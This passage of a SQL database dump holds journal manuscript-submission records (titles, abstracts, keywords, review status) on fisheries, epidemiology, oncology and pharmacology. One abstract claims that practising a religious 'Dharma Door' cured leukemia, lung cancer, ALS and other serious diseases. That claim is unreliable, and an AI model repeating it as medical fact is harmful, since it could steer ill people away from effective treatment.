(p<0.001) higher in females than males. The regression analysis of the various morphometric measurements of S. mystus against the standard length yielded significantly correlated equations (p<0.05 to p<0.001) with females showing higher degree of correlation (r value) than males, except for the preorbital length and prepelvic length.','Schilbe mystus, Meristic, Morphometric',1776,NULL,'2024-01-24',NULL,'Submitted',2,NULL,'2024-01-24',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14741,14749,45,0,'iphsj-24-14741','Practice and Factors Associated With Human Papilloma Virus Vaccination Among Saint Gabriel Primary school Students, Oromia Regional State, Ilubabor Zone, Mattu City, Southwest Ethiopia, 2022.',NULL,14,0,'','Background: Human Papilloma Virus type 6 and 11are core agent to the development of cervical neoplasia and detecting in 90 percent of cervical cancer. Although HPV vaccine has been consistently shown to be effective in reducing the incidence rate and mortality from the disease, there is limited access to HPV vaccination in developing countries. Thus, this study was aimed to assess practice and factors associated with Human PapillomaVirus vaccination among Saint Gabriel primary school students, Oromia regional state, Ilubabor Zone, Mattu city, Southwest Ethiopia, 2022.\r\nMethods: An institutional based cross-sectional study was conducted using a self-administered questionnaire among female students in St. Gabriel primary school of Mattu city from January 1st-30, 2022. Multistage sampling technique was employed and a total of 293 female students were took part in the study. Backward logistic regression by using adjusted odds ratio with respect to 95% of confidence interval was conducted for the strength and association between HPV vaccination practice and its associated factors.  P-value of < 0.05 was used to declare statistical significance.\r\nResult: The practice of HPV vaccination among St. Gabriel primary school students was 57.3% [CI=53.6, 60.8].Having the history of other vaccine use [AOR= 2.4, CI=1.27-9.2], being knowledgeable about HPV vaccine [AOR 1.7, CI= 1.71-2.82] and being positive attitude towards HPV vaccine [AOR=2, CI=1.3-4.9] were significantly associated with practice of HPV vaccination.\r\nConclusion: More than half of the respondents were took the HPV vaccination.  The factors like being knowledgeable, having a positive attitude, and having history of other vaccine use were significantly associated with HPV vaccination practice by primary academy female students.','Human Papilloma Virus, Vaccination, Mattu city, Saint Gabriel primary school.',3827,NULL,'2024-04-12',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'0','Accepted the article without any changes.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14743,14752,73,0,'ipjnn-24-14743','Impact of Physical Activity on Psychological Well-being with Spinal Cord Injuries',NULL,17,1,'Current neurology and neuroscience report','','',327,NULL,'2024-04-18',NULL,'Submitted',15,NULL,'2024-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14744,14745,971,0,'ipaclr-24-14744','Osteogenic Effect of Rare Earth Nanomaterials and Mechanisms',NULL,3,1,'Emerging Technologies in Biomedical Research','','',3249,NULL,'2024-04-19',NULL,'Submitted',15,NULL,'2024-04-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14745,14753,959,0,'ipacr-24-14745','Epidemiological and histological characteristics of polyps detected with positive tests during mass screening in the wilaya of Béjaia.',NULL,14,0,'','Detection of polyps during screening colonoscopy has improved significantly in recent years. This\r\nresults in an increase in the detection rate of adenomas thanks in particular to technological innovations\r\n(chromoendoscopy with indigo carmine or electronic) and the training of gastroenterologists,\r\nwhich is inversely correlated with the occurrence of colorectal cancer. The main objective of our study is\r\nto describe the epidemiological profile and histological characteristics of polyps and adenomas detected\r\nduring a mass screening operation for colorectal cancer in a healthy population in the wilaya of Bejaia.\r\nThe total number of polyps found in our target population is 196 in 89 people. A person can have a\r\nminimum of 1 polyp and a maximum of 6 polyps, the average number of polyps per person is 2\r\npolyps, 43% of the population participating in mass screening for colorectal cancer have at least one\r\npolyp and 28% have two polyps','(1) Medical oncology chu Béjaïa, (2) Gastroenterology University of Bejaia,\r\n(3) Radiology CPMC Algiers, (4) Medical nephrology university of Béjaïa (5) university hospital of\r\nBabeloued Algiers, (6) Medical oncology CPMC Algiers.',5428,NULL,'2024-04-19',NULL,'Submitted',14,NULL,'2024-05-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14746,14754,73,0,'ipjnn-24-14746','Interrogating Assumptions: Challenging Claims of Neurological Damage in Autism Therapies',NULL,9,0,'','This letter to the editor addresses concerns regarding the recent article by Rajalakshmi Kandaswamy titled \"The Neurological Damage Caused by Repetitive Behavior Modification Based Therapies in Autism and the Myth of Early Intensive Intervention in Autism.\" The letter critiques Kandaswamy\'s assertions regarding the efficacy of Applied Behavior Analysis (ABA) and early intensive intervention (EII) in autism intervention, providing counterarguments supported by empirical evidence. It emphasizes the importance of evidence-based practices in autism intervention and urges caution in disseminating potentially misleading information. The letter calls for a commitment to scientific integrity and the prioritization of interventions grounded in rigorous research.','Controversial Articles, Autism Interventions, Rajalakshmi Kandaswamy, Neurological Damage, Repetitive Behavior Modification, Early Intensive Intervention, Autism Spectrum Disorder, Empirical Evidence, Counterarguments, Applied Behavior Analysis, Efficacy, Skill Acquisition, Functional Independence, Quality of Life, Early Intervention, Neurodevelopmental Plasticity, Evidence-Based Practices, Editorial Responsibility, Scientific Integrity.',3314,NULL,'2024-04-21',NULL,'Submitted',15,NULL,'2024-04-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14747,14755,639,0,'ipfs-24-14747','Preliminary Study of Fish Parasite in Lake Belbela',NULL,14,0,'','A Preliminary Study of Fish Parasite in Lake Belbela was carried out by collecting fish species by using gillnets of various mesh sizes. A total of 116 fish samples were collected from randomly selected site of Lake Belbela. These included 74 (63.79%) Nile tilapia (Oreochromis niloticus), 11(9.48%) Cyprinous   carpio and 31(26.72%)  Labeobarbus intermius. The fish was examined thoroughly both external and internally. Out of 116 individuals of fishes examined during the study period, 26 (22.41%) were infected with parasites of which 6(23.07%) were Labeobarbus intermius, 5(19.23%), Cyprinous   carpio and 15(57.69%) were Oreochromis niloticus. The major parasites identified during the investigation include adult Contracaecum (Nematoda), Eustrongylides (Nematoda), and metacercariae of Clinostomum spp. (Digenea). Among the parasites recorded in the present study, the Clinostomatid digeneans and Contracaecum nematodes could be medically important from public health point of view since the parasites can be transmitted to humans by eating raw or smoked fish.','Fish parasites, Prevalence, Lake Belbela',1777,NULL,'2024-04-23',NULL,'Submitted',15,NULL,'2024-04-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14748,14755,639,0,'ipfs-24-14748','Preliminary study on fishery status during initial filling of Didhesa Reservoir',NULL,14,0,'','Scientific studies on water quality and productivity can contribute to the assessment of the suitability of water for particular uses such as domestic, irrigation, sanitation, fish production. The primary productivity of different water bodies has been widely investigated to assess the fish production capacity of a water body to formulate fishery management policies. This study aimed at the identifying the retained fish species during initial impoundment of Didesa reservoir and studying the fish establishment feature of the newly built reservoir for estimating their fisheries production potential. Three fish species of two families were recorded in Didesa Reservoir. In the present study, Labeobarbus intermedius (Rüppell, 1835) dominated the catch, Followed by Oreochromis niloticus (Linnaeus, 1758) and Labeo cylindricus (Peters, 1852). Length-weight relationships were highly significant with high coefficients of determination ranging from 0.97 for Oreochromis niloticus up to 0.990 for Labeobarbus intermedius. The length at first sexual maturity (L50) was 32.9 cm TL while it was 25.4 for Oreochromis niloticus at Dhidhesa reservoir.','limnological parameters, fish biodiversity, reservoir fishery',1776,NULL,'2024-04-23',NULL,'Submitted',15,NULL,'2024-04-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14750,14756,45,0,'iphsj-24-14750','Treating Rare and Intractable Diseases via Guan Yin Citta Dharma Door','',15,0,'','At present, nearly 7,000 rare and intractable diseases pose a significant therapeutic challenge, as Traditional medicines, including Chinese Medicine, Western Medicine, and other modalities, seem Unable to comprehend and effectively treat these conditions both in theory and practice. This realization prompts the exploration of alternative perspectives for potential breakthroughs. A field largely unexplored by medical sciences, namely Dharma, has shown promise in providing therapeutic avenues. Here, we selected 20 types of rare and intractable diseases, including eczema, schizophrenia, epilepsy vertigo, systemic lupus erythematosus, lung cancer, lumbar disc herniation, Crohn’s disease Amyotrophic Lateral Sclerosis, leukemia, autism, psoriasis, paralysis, major depressive disorder temporomandibular joint dislocation, hyperthyroidism, food allergy, insomnia, gout and diabetes that the 20 patients have fully or nearly fully cured via practicing Dharma.','',685,'','2024-04-27',NULL,'Submitted',2,0,'2024-05-10','',1,1,'1','',0,'','',0,0,0,0,NULL,0),(14752,14757,959,0,'ipacr-24-14752','Significant Value of p53 Accumulated in Invasive Ductal Breast Carcinoma','',14,0,'','Background: The presence of a functional p53 protein is a key factor for the appropriate suppression of cancer development. The tumor suppressor p53 accumulates under stressful conditions, such as DNA damage, heat shock, hypoxia, and/or proto-oncogene activation, although conflicting reports exist on its transcriptional activity. A loss of p53 activity, by mutations or inhibition, is often associated with human malignancies. This work investigated the significant value of p53 accumulated in IDBC (Invasive Ductal Breast Carcinoma) and at the same time tries to arise different supports of this value.\r\nResults: To ensure this objective, we referred to two types of statistical analysis, the chi-square and logistic regression analysis. They confirmed the poor prognosis of p53 accumulated in IDBC (?* = -0.456 with p=0.00001) and showed that the independent variables (MDM2, BCL2, BAX and ER) formed an interesting model to explain the significant value of p53 accumulated in the IDBC. The predictive value of the model including the four biomarkers is AUC=93.5%, showing that if we take the expression status of the four biomarkers, we can deduce the status of p53 with a reliability of 93.5%.\r\nThe residual term, representing 6,5% and involved in this significant value, corresponds to intrinsic modifications of p53: alterations of the TP53 gene, p53-oncoprotein interaction or cytoplasmic sequestration. In fact, following the IHC results of three different antibodies that recognize wild type or mutant p53, we examined the status of polymorphism 72, which may inform LOH (loss of heterozygozity). We found LOH associated with TP53 mutations in the context of down-regulated p53 target genes revealed by IHC. Although wild type in some cases, p53 loses its transcriptional activity; this may be due to oxidation of cysteine residues in the core domain, either iSAPP interaction or its cytoplasmic sequestration.\r\nConclusion: P53 accumulated in IDBC had a significant value and the etiological factors of this value should be target for effective therapy.','p53; MDM2; BAX; BCL2; ER: oestrogen receptor; IDBC: invasive Ductal Breast Carcinoma; bad prognostic',3142,'','2024-02-09',NULL,'Submitted',2,0,'2024-05-01','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(14753,14760,639,0,'ipfs-24-14753','Compatible studies on the phenotypic variability among the population of Nile tilapia (Oreochromis niloticus) caught from Rivers Taraba and Donga ',NULL,14,0,'Alright ','This study was designed to assess and compare the phenotypic variability among the population of Nile tilapia (Oreochromis niloticus) caught from rivers, Taraba and Donga. Sixty (60) Nile tilapia (Oreochromis niloticus), 30 from Tella and 30 from Donga each, were purchased from artisanal fishermen in the fish market monthly from July 2023 to October 2023. Descriptive statistics was used to compare the species from the two rivers, Taraba and Donga. The data obtained from the experiement were subjected to t-test at 90% confidence level (p=0.05) with the aid of IBM SPSS version 25. The results revealed significant size-related variation in the fish from the two different water environments. There is significant differences were observed in the 18 phenotypic parameters measured from the two water source and in all of the ten meristic counts recorded. A total of 94.4% and 83.3% of morphometric attributes of rivers, Taraba and Donga samples respectively are heterozygous (CV>10%) whereas a total of 80% of meristic attributes in river Taraba samples were heterozygous (CV>10%). It could be recommended for further studies to compare the morphological characteristics (such as slope, width, depth and sediment composition) of both rivers to identify similarities and differences in their geomorphology.','Nile tilapia, Comparative studies, River Taraba, River Donga, Morphometric measurements, Meristic counts ',59241,NULL,'2024-05-03',NULL,'Submitted',15,NULL,'2024-05-07',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14754,14761,85,0,'iphspr-24-14754','Unveiling the Intricacies: Exploring Neurobiological Mechanisms',NULL,12,0,'','','',3405,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14755,14762,85,0,'iphspr-24-14755','Bridging the Gap: Addressing Health Disparities for a Fairer Future',NULL,12,0,'','','',3413,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14756,14763,85,0,'iphspr-24-14756','Navigating Health Emergencies: Preparedness, Response and Resilience',NULL,12,0,'','','',59091,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14757,14764,85,0,'iphspr-24-14757','Strengthening Community Health: A Vital Pillar for Societal Well-being',NULL,12,0,'','','',59091,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14758,14765,85,0,'iphspr-24-14758','The Path to Comprehensive Healthcare Reform',NULL,12,0,'','','',59091,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14759,14766,85,0,'iphspr-24-14759','The Intersection of Health and Economics: Understanding the Dynamics of Healthcare Expenditure',NULL,12,0,'','','',2922,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14760,14767,85,0,'iphspr-24-14760','Optimizing Health Human Resources: A Critical Imperative for Effective Healthcare Delivery',NULL,12,0,'','','',59103,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14761,14768,85,0,'iphspr-24-14761','Human Health Rights: A Vital Imperative for Global Well-being',NULL,12,0,'','','',59103,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14762,14769,85,0,'iphspr-24-14762','Healthcare: The Role of Health Monitoring in Promoting Wellness',NULL,12,0,'','','',59091,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14763,14770,85,0,'iphspr-24-14763','The Current Landscape: A Comprehensive Analysis of Health System Policies',NULL,12,0,'','','',3282,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14764,14771,981,0,NULL,'Unveiling the Nexus: Toxicological and Epidemiological Evidence in Public Health',NULL,12,0,'','','',59099,NULL,'2024-05-04',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14765,14772,981,0,'ipft-24-14765','Understanding Male Reproductive Toxicology: Impacts, Risks and Insights',NULL,12,0,'','','',59099,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14766,14773,981,0,'ipft-24-14766','Pharmacology of the Heart: A Comprehensive Overview',NULL,12,0,'','','',59098,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14767,14774,981,0,'ipft-24-14767','Unearthing Toxicologic Evidence: Navigating the Ethical Landscape of Mining Data for Public Health',NULL,12,0,'','','',59099,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14768,14775,981,0,'ipft-24-14768','Drug Toxicology: Unraveling the Complexities of Substance Effects',NULL,12,0,'','','',59099,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14769,14776,981,0,'ipft-24-14769','The Science behind Combustion Toxicology: Understanding the Risks and Implications',NULL,12,0,'','','',59099,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14770,14777,981,0,'ipft-24-14770','The Dynamic Landscape of Pharmacology: Unveiling the Science behind Drug Action',NULL,12,0,'','','',59098,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14771,14778,981,0,'ipft-24-14771','Pharmacologic Characterization of Potent Inhibitors: A Gateway to Precision Medicine',NULL,12,0,'','','',59098,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14772,14779,981,0,'ipft-24-14772','Pharmacology of <em>Spatholobus Suberectus</em> Vine Stems: A Comprehensive Review',NULL,12,0,'','','',59098,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14773,14780,981,0,'ipft-24-14773','Pharmacotherapeutics: The Science of Medicinal Treatment',NULL,12,0,'','','',59227,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14774,14771,981,0,'ipft-24-14774','Unveiling the Nexus: Toxicological and Epidemiological Evidence in Public Health',NULL,12,0,'','','',59099,NULL,'2024-05-04',NULL,'Submitted',2,NULL,'2024-05-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14775,14781,251,0,'ipacm-24-14775','Advancements in Microbial Diagnostics: A Breakthrough in Clinical Microbiology',NULL,3,0,'','','',59242,NULL,'2024-05-06',NULL,'Submitted',15,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14776,14782,251,0,'ipacm-24-14776','Deciphering the Complexities of Microbial Virulence in Clinical Microbiology',NULL,3,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',15,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14777,14783,251,0,'ipacm-24-14777','Exploring Microbial Morphology: Insights from Clinical Microbiology',NULL,12,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',15,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14778,14784,251,0,'ipacm-24-14778','Exploring the Realm of Parasitology in Clinical Microbiology',NULL,12,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',15,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14779,14785,251,0,'ipacm-24-14779','Understanding Nosocomial Infections: A Clinical Microbiology Perspective',NULL,12,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14780,14786,251,0,'ipacm-24-14780','Understanding the Significance of Urine Culture in Clinical Microbiology',NULL,3,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14781,14787,251,0,'ipacm-24-14781','Unlocking the Secrets of Clinical Specimens in Microbiology',NULL,12,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14782,14788,251,0,'ipacm-24-14782','Unraveling the Complexities of Epidemiology in Clinical Microbiology',NULL,12,0,'','','',59244,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14783,14789,251,0,'ipacm-24-14783','Unraveling the Landscape of Antiviral Therapy: Innovations and Challenges in Clinical Microbiology',NULL,3,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14784,14790,251,0,'ipacm-24-14784','Unveiling Microbial Virulence Factors: Insights from Clinical Microbiology',NULL,12,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14785,14791,251,0,'ipacm-24-14785','Unveiling the Microscopic Universe: A Journey into Clinical Microbiology',NULL,3,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14786,14792,251,0,'ipacm-24-14786','Unveiling the Secrets of Microbial Transcriptomics: A Paradigm Shift in Clinical Microbiology',NULL,3,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14787,14793,251,0,'ipacm-24-14787','Unveiling the Significance of Antigen Detection in Clinical Microbiology',NULL,12,0,'','','',59243,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14788,11625,45,0,'iphsj-24-14788','COVID-19 AND MENTAL HEALTH: WHAT HAS BEEN THE IMPACT?',NULL,14,0,'','The COVID-19 pandemic and the subsequent orders issued to prevent its spread can lead to the appearance of mental health symptoms, both in people who have been infected with the virus and in the rest of the population that has been affected by the uncertainty associated with a pandemic and by the indirect effects on mental health, associated with loneliness, lack of social interactions, anxiety, depression, overwhelm, among others, giving figures that confirm this in older people and people with chronic illnesses; children and adolescents; people who are helping with the response, such as doctors and other health care providers; and people who have mental health problems. As such, people in social isolation, with restricted mobility and little contact with those around them are more vulnerable to psychiatric complications, ranging from isolated symptoms to the development of a mental disorder, such as insomnia, anxiety, depression and post- traumatic stress disorder. The mental health and well-being of entire societies have been severely affected by this crisis and it is a priority to address these two elements as a matter of urgency. However, people caught in fragile humanitarian settings or conflict situations are at risk of having their mental health completely overlooked.','COVID-19, coronavirus, pandemic, confinement, anxiety disorders, mental health.',5388,NULL,'2024-05-06',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'0','I recommend publishing this article. It provides valuable insights into the intersection between the COVID-19 pandemic and mental health.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14789,14532,91,0,'ijddr-24-14789','Transformative Role of Biotechnology in Drug Development',NULL,12,0,'','','',59095,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-23',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14790,14532,91,0,'ijddr-24-14790','Healthcare  Insights: Perspectives on Virtual Clinical Trials and Compliance',NULL,12,0,'','','',2427,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-23',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14791,14533,91,0,'ijddr-24-14791','Unveiling the Synergy: Artificial Intelligence and Drug Development',NULL,11,0,'','','',5033,NULL,'2024-05-07',NULL,'Submitted',14,NULL,'2024-05-23',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14792,14533,91,0,'ijddr-24-14792','Illuminating Drug Discovery: The Promise of Autobioluminescent Cellular Models',NULL,11,0,'','','',3391,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-23',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14793,14743,91,0,'ijddr-24-14793','Personalized Medicine: Revolutionizing Healthcare Through Tailored Treatment',NULL,12,0,'','','',2427,NULL,'2024-05-07',NULL,'Submitted',14,NULL,'2024-05-23',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14794,14794,45,0,'iphsj-24-14794','Effectiveness of stepwise surgical training program in Ocular surgery',NULL,14,0,'','BACKGROUND: Training programs are putting increasing emphasis on teaching and assessment of surgical skills.  Ocular surgery having a learning curve, is better taught in parts in a stepwise manner as per the training level of the resident.\r\nMETHODS: A pre-post study was conducted at Mayo Hospital, including a total of 15 post-graduate residents. Step 2, 5, 12 and 13 from ICO-OSCAR:Phaco were evaluated. Pre-training scores were given by resident and supervisor for each step. Training comprised of 3 theater lists with repetition of one step in 5 cases and giving of post-training scores. Mean pre and post-training scores were calculated and paired t-test applied. (p-value <0.01 significant). Correlation was calculated between post- training scores by resident and supervisor. \r\nRESULTS: Out of 15 resident 9 (60%) were in second year of residency and 6 (40%) were in third year. Mean pre-training scores by resident were 2.6, 2.3, 2.7, 2.1 which increased to 4.7, 3.8, 4.4 and 4.3 post-training (p-value 0.00) and mean pre-training scores by the supervisor were 2.7, 2.0, 2.4, 2.7 which increased to mean post-training scores of 4.6, 3.7, 4.3 and 3.6 (p-value 0.00) for incision, capsulorhexis, irrigation/aspiration, and lens insertion respectively. Post training scores of resident and supervisor showed positive correlation for 3 out of 4 steps; 0.289, 0.510, 0.577, -0.99, respectively for incision, capsulorhexis, irrigation/aspiration, and negative for lens insertion.\r\nCONCLUSION: Pre-post training score differences of both residents and supervisors were statistically significant. The step-wise surgical training program was more acceptable by residents. More ideas need to be generated and step-wise training method pruned with input from supervisors. \r\n\r\n',' Ocular surgery, Ophthalmological surgical procedure, Phacoemulsification, Training techniques',651,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-28',NULL,1,1,'0','Accept the article for publication.',0,'','',NULL,0,0,1,NULL,0),(14795,14795,996,0,'ipar-24-14795','Traumeel: Exploring the Natural Approach to Pain Management and Healing',NULL,12,0,'','','',59164,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14796,14796,996,0,'ipar-24-14796','Unveiling the Intricacies of Autoimmune Diseases: A Journey Through Diagnosis, Treatment, and Beyond',NULL,12,0,'','','',59245,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14797,14797,996,0,'ipar-24-14797','Exploring the Frontiers of Immunology: Unraveling the Complexities of the Body\'s Defender',NULL,12,0,'','','',59245,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14798,14798,996,0,'ipar-24-14798','Beyond the Joints: Navigating the Landscape of Joint Disorders',NULL,12,0,'','','',59129,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14799,14799,996,0,'ipar-24-14799','Deciphering the Flames Within: Understanding and Conquering Inflammatory Diseases',NULL,12,0,'','','',59166,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14800,14800,996,0,'ipar-24-14800','Bridging the Gaps: Exploring Connective Tissue Diseases and Their Impact on Health',NULL,12,0,'','','',59129,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14801,14801,996,0,'ipar-24-14801','Musculoskeletal Disorders: Navigating the Intersection of Pain, Mobility, and Health',NULL,12,0,'','','',59245,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14802,14802,996,0,'ipar-24-14802','Pain Management: A Holistic Approach to Alleviating Suffering and Restoring Quality of Life',NULL,12,0,'','','',59129,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14803,14803,996,0,'ipar-24-14803','Navigating Treatment Strategies: A Comprehensive Approach to Improving Health Outcomes',NULL,12,0,'','','',59165,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14804,14804,996,0,'ipar-24-14804','Unveiling the Power of Clinical Trials: Advancing Medicine Through Rigorous Research',NULL,12,0,'','','',59130,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-29',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14805,14805,86,0,'ipaom-24-14805','Quercetin\'s Angiogenic Factor Production Inhibition: Potential Therapeutic Implications',NULL,5,0,'','Angiogenesis, the process of new blood vessel formation, plays a crucial role in various physiological and pathological conditions, including wound healing, embryonic development, and tumor progression. Dysregulated angiogenesis is implicated in several diseases, including cancer, diabetic retinopathy, and inflammatory disorders. Consequently, targeting angiogenesis has emerged as a promising therapeutic strategy. In recent years, natural compounds have gained attention for their potential anti-angiogenic properties. Among them, quercetin, a flavonoid abundantly found in fruits, vegetables, and beverages, has garnered significant interest due to its diverse pharmacological activities, including anti-inflammatory, antioxidant, and anticancer effects. This article explores the inhibitory effects of quercetin on angiogenic factor production and its potential therapeutic implications.','',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14806,14806,86,0,'ipaom-24-14806','Exploring Osteopathic Manipulative Medicine Techniques',NULL,5,0,'',' ','Osteopathic Manipulative Medicine Techniques; body\'s systems; manual techniques; musculoskeletal disorders',5013,NULL,'2024-05-07',NULL,'Submitted',2,NULL,'2024-05-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14807,14807,86,0,'ipaom-24-14807','The Crucial Role of General Internal 